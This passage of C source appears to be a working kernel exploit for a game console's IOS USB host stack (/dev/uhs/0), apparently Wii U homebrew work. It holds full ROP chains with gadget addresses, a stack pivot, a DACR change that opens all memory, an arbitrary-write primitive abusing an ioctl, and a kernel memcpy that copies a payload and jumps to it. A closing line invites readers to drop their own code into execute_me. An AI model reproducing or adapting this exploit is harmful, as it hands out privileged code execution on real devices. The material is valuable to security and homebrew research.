0x30 0x0, // 0x34 IOS_CREATETHREAD, // 0x38 0x1, // 0x3C 0x2, // 0x40 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} 0x0812A314, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xEE030F10, // 0x4C value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 0x0, // 0x50 0x10123a8b, // 0x54 POP {R3,R4,PC} 0x1, // 0x58 R3 must be 1 for the arbitrary write 0x0, // 0x5C 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x64 0x0, // 0x68 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 0x0, // 0x70 0x0, // 0x74 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} 0x0812A314 + 0x4, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE1A0D001, // 0x80 value: MOV SP, R1 0x0, // 0x84 0x10123a8b, // 0x88 POP {R3,R4,PC} 0x1, // 0x8C R3 must be 1 for the arbitrary write 0x0, // 0x90 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x98 0x0, // 0x9C 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 0x0, // 0xA4 0x0, // 0xA8 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} 0x0812A314 + 0x8, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 0xE8BD800F, // 0xB4 value: LDMFD SP!, {R0-R3,PC} 0x0, // 0xB8 0x10123a8b, // 0xBC POP {R3,R4,PC} 0x1, // 0xC0 R3 must be 1 for the arbitrary write 0x0, // 0xC4 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0xCC 0x0, // 0xD0 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 0x0, // 0xD8 0x0, // 0xDC 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} 0xFFFFFFFF, // 0xE4 enable read/write everywhere 0x1015BD78 + 0xF4, // 0xE8 location of privileged stack 0x0, // 0xEC 0x1012EB8C, // 0xF0 IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC}) 0x08122500, // 0xF4 destination 0x00140000, // 0xF8 source sizeof(execute_me),// 0xFC length 0x0, // 0x100 0x08131AE4, // 0x104 BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC} 0x0, // 0x108 0x0, // 0x10C 0xFFFFDC48, // 0x110 Will be the LR: shutdown syscall 0x0, // 0x114 0x0, // 0x118 0x0, // 0x11C 0x0, // 0x120 0x0812A124, // 0x124 MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC} 0x0, // 0x128 0x08122500, // 0x12C Jump to code! }; int second_chain[] = { 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination 0x0, // 0x08 0x0, // 0x0C 0x101063db, // 0x10 POP {R1,R2,R5,PC} 0x00130000, // 0x14 source sizeof(final_chain), // 0x18 length 0x0, // 0x1C 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 0x0, // 0x24 0x0, // 0x28 0x101236f3, // 0x2C POP {R1-R7,PC} 0x0, // 0x30 arg 0x101001DC, // 0x34 stackptr 0x68, // 0x38 stacksize 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 0x0, // 0x40 0x0, // 0x44 0x0, // 0x48 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x0, // 0x50 0x0, // 0x54 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x0, // 0x5C 0x0, // 0x60 IOS_CREATETHREAD, // 0x64 0x1, // 0x68 priority 0x2, // 0x6C flags 0x0, // 0x70 0x0, // 0x74 0x101063db, // 0x78 POP {R1,R2,R5,PC} 0x0, // 0x7C -(0x240 + 0xF000), // 0x80 stack offset 0x0, // 0x84 0x1011D424, // 0x88 LDMFD SP!, {R4-R11,PC} 0x0, // 0x8C 0x0, // 0x90 0x0, // 0x94 0x0, // 0x98 0x0, // 0x9C 0x0, // 0xA0 0x0, // 0xA4 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 0x1012EA68, // 0xAC stack pivot }; int Menu_Main(void) { //!---------INIT--------- InitOSFunctionPointers(); //! Init coreinit functions adresses dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node uhs_exploit_init(); //! Init variables for the exploit //!------ROP CHAIN------- uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); uhs_write32(CHAIN_START + 0x10, 0x1011814C); uhs_write32(CHAIN_START + 0xC, SOURCE); uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} //!--------DEINIT-------- IOS_Close(dev_uhs_0_handle); //! Close /dev/uhs/0 IOS node return EXIT_SUCCESS; //! Exit from HBL } //!------Variables used in exploit------ int *pretend_root_hub = (int*)0xF5003ABC; int *ayylmao = (int*)0xF4500000; //!------------------------------------- void uhs_exploit_init() { ayylmao[5] = 1; ayylmao[8] = 0x500000; memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me)); pretend_root_hub[33] = 0x500000; pretend_root_hub[78] = 0; DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub" DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4120000, sizeof(second_chain)); //! |for second chain inside MEM1 DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4130000, sizeof(final_chain)); //! |for final chain inside MEM1 DCFlushRange((void*)0xF4140000, sizeof(execute_me)); //! |Make CPU fetch new data (with updated vals) DCInvalidateRange((void*)0xF4140000, sizeof(execute_me)); //! |for final chain inside MEM1 } int uhs_write32(int arm_addr, int val) { ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress) DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao" OSSleepTicks(0x200000); //! Improves stability int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 int output_buffer[32]; return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); }
Put your code into execute_me and it'll execute. You have about 0x5D0 bytes of space. The above code will simply shut your console down as a demonstration.